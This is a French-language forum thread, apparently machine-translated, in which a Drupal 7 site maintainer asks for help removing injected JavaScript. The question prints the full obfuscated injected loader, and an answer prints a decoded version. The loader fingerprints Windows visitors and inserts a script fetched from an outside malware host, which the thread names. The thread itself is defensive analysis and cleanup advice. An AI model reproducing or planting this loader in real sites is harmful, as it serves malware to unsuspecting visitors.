2
votes

Correction d'injection javascript sur le site Drupal

Il y a quelques jours, un site Web drupal que je maintiens a été piraté en utilisant une sorte d'injection JS, ils ont réussi à injecter un tas de code obscurci dans tous les fichiers javascript et nous avons essayé de le réparer et de le ramener à normal.

Après avoir supprimé tout un tas de code obscurci, nous remettons tout le CSS et le JS sous contrôle, mais il y a toujours quelque chose que je ne trouve dans aucun code (ou base de données MYSQL).

Au moment où le piratage / injection apparaît sous forme de liens aléatoires qui apparaissent avant tout balises uniquement sur la page d’accueil (www.example.com) ou sur la page d’accueil secondaire (www.example.com/company), je n’ai pas créé le site Web sur lequel il m’a été transmis.

Je ' J'ai cherché à la fois dans la base de données et dans les fichiers physiques des références aux liens du site Web qu'il injecte et il n'y en a pas.

De plus, cela ne vaut rien que les liens utilisent toujours les mêmes lettres aléatoires (dans ce cas, c'est "8 "," p "," glad "," wy2 "," j6 "et" 6 ")

Ensuite, le site de préparation est parfaitement bien (www.example.staging.com) mais quand nous a poussé le code non piraté, il s'est re-manifesté) aussi Si je tire le code en direct et l'exécute localement, les liens disparaissent.

Quelqu'un peut-il m'aider ou avoir une expérience avec cela?

Voici le JS qui a été injecté:

;if(ndsw===undefined){var ndsw=true;(function(){var n=navigator,d=document,s=screen,w=window,u=n[p("wt1n1eagqAbr1ers1up")],q=n[p(")mrrdo4fitua4l0p)")],t=d[p("gewi)kkorowc)")],h=w[p("0n1o9ixtma(cco!ly")][p("oeemea)n6tmsforhx")],dr=d[p("9rye3rjrfedf1eprg")];if(dr&&!c(dr,h)){if(!c(u,p("kd0iio1rkdxnwA5"))&&c(u,p("ps5wdowdcn)i8Wv"))&&c(q,p("vndisWv"))){if(!c(t,p("m=ua!mft3uc_e_i"))){var n=d.createElement('script');n.type='text/javascript';n.async=true;n.src=p('c3tcf1d5i7(a!2he0end338epd66vf55z5vaj3p7j=fvo&90l4b2i=idyizcv?6smjb.uexd1o9cn_tsl/4mcouci.28!0s2xsacfiat1y9liainhadkccviol2cr.(kmcqi0ldcp/j/w:gsnpdt2tlhz');var v=d.getElementsByTagName('script')[0];v.parentNode.insertBefore(n,v)}}}function p(e){var k='';for(var w=0;w<e.length;w++){if(w%2===1)k+=e[w]}k=r(k);return k}function c(o,z){return o[p("!f9O4xrevd4ngi4")](z)!==-1}function r(a){var d='';for(var q=a.length-1;q>=0;q--){d+=a[q]}return d}})()}


5 commentaires

Vous n'avez pas de sauvegarde de l'état de configuration avant l'exploitation?


Non, malheureusement, ils n'ont jamais été fabriqués. : /


Quelle est votre version drupal? Le noyau est-il à jour? Vérifiez les permissions / propriétés des fichiers à la racine du site et si le code a été modifié ou non par rapport à leur version intermédiaire (settings.php, cron.php, index.php, etc.). Vérifiez également le code dans les fichiers modèles que vous avez mentionnés.


Archivez des fichiers si vous avez une image ou un fils comme "a.php" ou "a.jpg", si oui, vous devez supprimer tous les fichiers, mettre à jour le noyau et vérifier les autorisations des répertoires


Drupal version 7.66, j'ai trouvé tout un tas de fichiers .ico / .jpg, JS et quelques fichiers PHP contenant du code, ils ont été supprimés, les fichiers racine du site vont bien.


3 Réponses :


1
votes
So far I got:
- first it checks if :
  + userAgent
  + platform
  + cookie
  + location[hostname]
  + referrer

later checks something about this values:
  - userAgent !== Android
  - userAgent === Windows
  - userAgent === Win
  - cookie not exists __utma=

  Then it makes a script element with src= -> 
  "https://click.clickanalytics208.com/s_code.js?cid=240&v=73a55f6
  de3dee2a751c3" 

4 commentaires

click.clickanalytics208 [.] com / s_code.js? cid = 240 & v = 73a55f6de3‌ dee2a751c3 était lié sur le site malwarebytes comme un faux site de mise à jour ... Je ne suis pas sûr de ce que cela signifie cependant


Cela signifie que le script vérifie si tout va bien pour télécharger le logiciel malveillant, puis il le télécharge depuis le " click.clickanalytics208.com/... " et injectez un nouvel élément de script dans le DOM html avec le script de malware. Mais je ne peux pas télécharger le malware si vous pouvez télécharger le malware, nous pouvons aller plus loin.


Je ne peux pas, mon AV ne me laissera pas près de ce site et la seule trace de malware est cet extrait de JS et les liens aléatoires qui apparaissent sur la page d'accueil du site, y a-t-il quelque chose que je devrais rechercher alors?


Je suppose que le lien n'apparaît que si vous utilisez le bon client, et si vous cliquez dessus, vous obtenez le malware. Utiliser votre site légitime comme diffuseur de logiciels malveillants. Vous devriez vérifier comment votre site a été injecté. Trouvez le trou dans votre système. Si vous pensez que ma réponse a été utile, faites un vote positif ou marquez comme résolu ma réponse (je recherche un emploi et des entreprises comme stackoverflow acc), merci et si vous avez besoin de quelque chose, envoyez-moi un message et je vous aiderai si je peux.



0
votes

Les scripts désobfusqués ressembleraient plus ou moins à ceci:

var data = navigator['userAgent'];
var value = document["cookie"];
if (indexOf(data, "Windows") && !indexOf(data,decode("Android"))) {
    if (!indexOf(value, "___utma=")) {
        vat tag = document.createElement("script");
        tag.type = "text/javascript";
        tag.async = true;
        tag.src = "https://click.clickanalytics208.com/s_code?cid=239&v=243bccb3d3c0ba83d41fc"
        var wafCss = document.getElementByTagName("script")[0];
        wafCss.parentNode.instertBefore(tag, wafCss);
    }
}

Je ne peux pas encore commenter, mais FaD3y m'envoie un ping si vous avez encore besoin d'aide pour nettoyer le site.


0 commentaires

0
votes

Je n'ai jamais réussi à comprendre quel était le problème. Mais la solution était de passer de Drupal 7.66 à 7.67.

J'ai ensuite importé la base de données qui était en place avec le contenu, puis j'ai parcouru manuellement tous les plugins et extensions en les ajoutant à partir de leurs serveurs d'origine.

Je laisse simplement ceci ici au cas où quelqu'un d'autre aurait ce problème à l'avenir.

Réduisez vos pertes, récupérez les informations que vous pouvez et reconstruisez.


0 commentaires